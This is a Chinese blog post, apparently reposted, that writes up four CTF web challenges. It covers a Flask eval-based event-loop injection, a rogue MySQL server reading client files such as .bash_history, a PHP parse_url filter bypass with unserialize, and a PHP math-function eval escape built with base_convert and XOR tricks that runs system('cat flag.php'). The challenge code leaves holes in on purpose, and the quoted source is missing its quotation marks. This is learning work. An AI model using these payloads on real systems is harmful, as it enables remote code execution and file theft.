首页 > Web开发 > 详细

几道web题简单总结

时间:2019-04-29 00:03:25      阅读:145      评论:0      收藏:0      [点我收藏+]

拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西

1.homebrew event loop

  ddctf的一道题目,学到了python eval函数的用法,首先分析题目:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = garzon

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = *********************  # censored
url_prefix = /d5af31f99147e857


def FLAG():
    return FLAG_is_here_but_i_wont_show_you  # censored


def trigger_event(event):
    session[log].append(event)
    if len(session[log]) > 5: session[log] = session[log][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException: pass


def execute_event_loop():
    valid_event_chars = set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#)
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith((action:, func:)): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == a
            action = get_mid_str(event, :, ;)  # index
            args = get_mid_str(event, action + ;).split(#) #True#True
            try:
                event_handler = eval(action + (_handler if is_action else _function))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ‘‘
                resp += ERROR! All transactions have been cancelled. <br />
                resp += <a href="./?action:view;index">Go back to index.html</a><br />
                session[num_items] = request.prev_session[num_items]
                session[points] = request.prev_session[points]
                break
            except Exception, e:
                if resp is None: resp = ‘‘
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == ‘‘: resp = (404 NOT FOUND, 404)
    session.modified = True
    return resp


@app.route(url_prefix + /)
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == ‘‘ or (not querystring.startswith(action:)) or len(querystring) > 100:
        querystring = action:index;False#False
    if num_items not in session:
        session[num_items] = 0
        session[points] = 3
        session[log] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ‘‘
    html += [INFO] you have {} diamonds, {} points now.<br />.format(session[num_items], session[points])
    if page == index:
        html += <a href="./?action:index;True%23False">View source code</a><br />
        html += <a href="./?action:view;shop">Go to e-shop</a><br />
        html += <a href="./?action:view;reset">Reset</a><br />
    elif page == shop:
        html += <a href="./?action:buy;1">Buy a diamond (1 point)</a><br />
    elif page == reset:
        del session[num_items]
        html += Session reset.<br />
    html += <a href="./?action:view;index">Go back to index.html</a><br />
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == True:

        source = open(eventLoop.py, r)
        html = ‘‘
        if bool_download_source != True:
            html += <a href="./?action:index;True%23True">Download this .py file</a><br />
            html += <a href="./?action:view;index">Go back to index.html</a><br />

        for line in source:
            if bool_download_source != True:
                html += line.replace(&, &amp;).replace(\t, &nbsp; * 4).replace( , &nbsp;).replace(<,
                                                                                                              &lt;).replace(
                    >, &gt;).replace(\n, <br />)
            else:
                html += line
        source.close()

        if bool_download_source == True:
            headers = {}
            headers[Content-Type] = text/plain
            headers[Content-Disposition] = attachment; filename=serve.py
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event(action:view;index)


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return invalid number({}) of diamonds to buy<br />.format(args[0])
    session[num_items] += num_items
    trigger_event([func:consume_point;{}.format(num_items), action:view;index])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session[points] < point_to_consume: raise RollBackException()
    session[points] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return You naughty boy! ;) <br />


def get_flag_handler(args):
    if session[num_items] >= 5:
        trigger_event(func:show_flag; + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event(action:view;index)


if __name__ == __main__:
    app.run(debug=False, host=0.0.0.0)

这道题目首先通读源码是必须的,另一个必须要了解到的出题点在eval()函数这个地方,eval中可以传入#来注释掉后面的部分
技术分享图片

从上图可以看出来,此时eval会忽略掉#后面的所有字符串,以及要做出这道题的另一个点:

打破程序进行的流程,先加钻石数量再检验钱数,并且可以给事件传入一个列表,那么先加钻石,在检验钱之前去getflag即可,而且这里会把flag带到log中去,总之就是在一个正常的处理序列中去插入一个新的事件,因为eval这里可控,所以刚开始就应该反映到出题点

在这里!

 2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders(content-length)
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen([netstat, -tlnp], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {local_address: Local_Address, Process_name: Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print(Listening on localhost:%s % port)
    server = HTTPServer((0.0.0.0, port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

 这道题主要是来攻击mysql连接的客户端,这个题目给了agent.py 是用来检测是不是服务器上存在mysqld进程,而判断是通过do_get和do_post两个函数确定的,这两个函数都会调用_func函数,返回进程名,然后do_get 和do_post再把_func的返回值输出,

所以只需要让最后输出的存在mysqld就行了,然后就可以在服务器上读取客户端的文件。

技术分享图片

技术分享图片

这里读取客户端的.mysql_histoty文件,这个文件存储了用户登陆mysql服务器所执行的命令,也可以读取.bash_history

技术分享图片

在这里又可以读到web的源码地址,所以可以继续读取它:

技术分享图片

在这里能够发现flag所在的库和表,所以就可以读取表中的内容,又因为linux下,mysql安装后,数据库的数据默认存放在/var/lib/mysql目录下,所以可以直接访问其中的库表,所以可以直接读取

/var/lib/mysql/security/flag.ibd

 3.just soso

这道题比较常规

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo ‘Missing parameter‘.‘<br>‘;
}
if(preg_match("/flag/",$file)){
    die(‘hack attacked!!!‘);
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER[‘REQUEST_URI‘]);
    parse_str($url[‘query‘],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die(‘stop hacking!‘);
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

这里主要记录一下绕过parse_url,这里会检测flag字符串,但是要是让parse_url

技术分享图片

技术分享图片

这样就能使parse_url返回false,这样绕过对flag的过滤,然后后面就是常规的反序列化漏洞,这里要记住最后的序列化的数据因为有不可见字符所以需要urlencode一下

 4.math

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET[‘c‘])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET[‘c‘]; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘]; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match(‘/‘ . $blackitem . ‘/m‘, $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘base_convert‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘, ‘dechex‘, ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘];
    preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval(‘echo ‘.$content.‘;‘); 
}

 方法一:

这道题主要还是构造没有字母的shell,这里面又提供了进制转换的函数base_convert(),说明可以用0-9a-z 36个字符,那么就可以构造shell,这里主要通过分析一个payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
这里通过构造动态函数,首先base_convert()构造hex2bin,把16进制转换为字符串,再通过“_GET” -> 16进制表示,再到10进制表示,然后反过来dechex()->hex2bin(),然后结合动态函数
比如$a="_GET";$$a{c}(($$a){d}); 这样将实际的payload放在GET参数中,从而来减小长度。
另外一个点是php的数组不仅可以通过[]来进行索引,还可以通过{}来进行索引。
方法2:
另一种构造出_GET的方法是通过异或字符串:
比如要得到_G,则可以通过:
技术分享图片

具体怎么得出:可以通过“_G”和两个字符异或:

for($j=0;$j<10;$j = $j+1){
    for($i=0;$i<10;$i = $i+1){
    echo $i.$j." ";
    echo "_G"^($j).($i);
    echo "\n";
}}

技术分享图片

可以得到两位字符串,这里也可以选3位或者4位跑,但是因为得到的字符串需要在白名单里面找,所以太长了找不到,所以选两位最好,一位会增加payload长度,因此is是在白名单里存在的,所以就可以使用,同样的方法去找“ET”,最后
还是去构造动态函数就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})

 



 

几道web题简单总结

原文:https://www.cnblogs.com/wfzWebSecuity/p/10747867.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!